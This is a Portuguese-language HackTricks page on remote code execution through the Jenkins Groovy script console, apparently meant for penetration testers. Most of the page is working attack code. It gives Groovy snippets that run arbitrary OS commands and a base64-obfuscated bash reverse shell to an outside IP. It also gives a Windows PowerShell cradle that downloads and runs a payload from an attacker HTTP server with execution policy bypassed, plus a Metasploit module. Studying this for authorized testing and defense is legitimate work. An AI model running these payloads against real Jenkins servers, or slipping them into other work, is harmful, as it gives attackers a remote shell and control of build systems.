Jenkins RCE com Script Groovy
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
Jenkins RCE com Script Groovy
Isso Ă© menos barulhento do que criar um novo projeto no Jenkins
- VĂĄ para path_jenkins/script
- Dentro da caixa de texto, introduza o script
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"
VocĂȘ pode executar um comando usando: cmd.exe /c dir
Em linux vocĂȘ pode fazer: "ls /".execute().text
Se vocĂȘ precisar usar aspas e aspas simples dentro do texto. VocĂȘ pode usar âââPAYLOADâââ (trĂȘs aspas duplas) para executar o payload.
Outro script groovy Ăștil Ă© (substitua [INSERT COMMAND]):
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Shell reversa no linux
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
Reverse shell no Windows
VocĂȘ pode preparar um servidor HTTP com um PS reverse shell e usar Jeking para baixĂĄ-lo e executĂĄ-lo:
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
Script
VocĂȘ pode automatizar esse processo com este script.
VocĂȘ pode usar o MSF para obter um shell reverso:
msf> use exploit/multi/http/jenkins_script_console
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
HackTricks Cloud

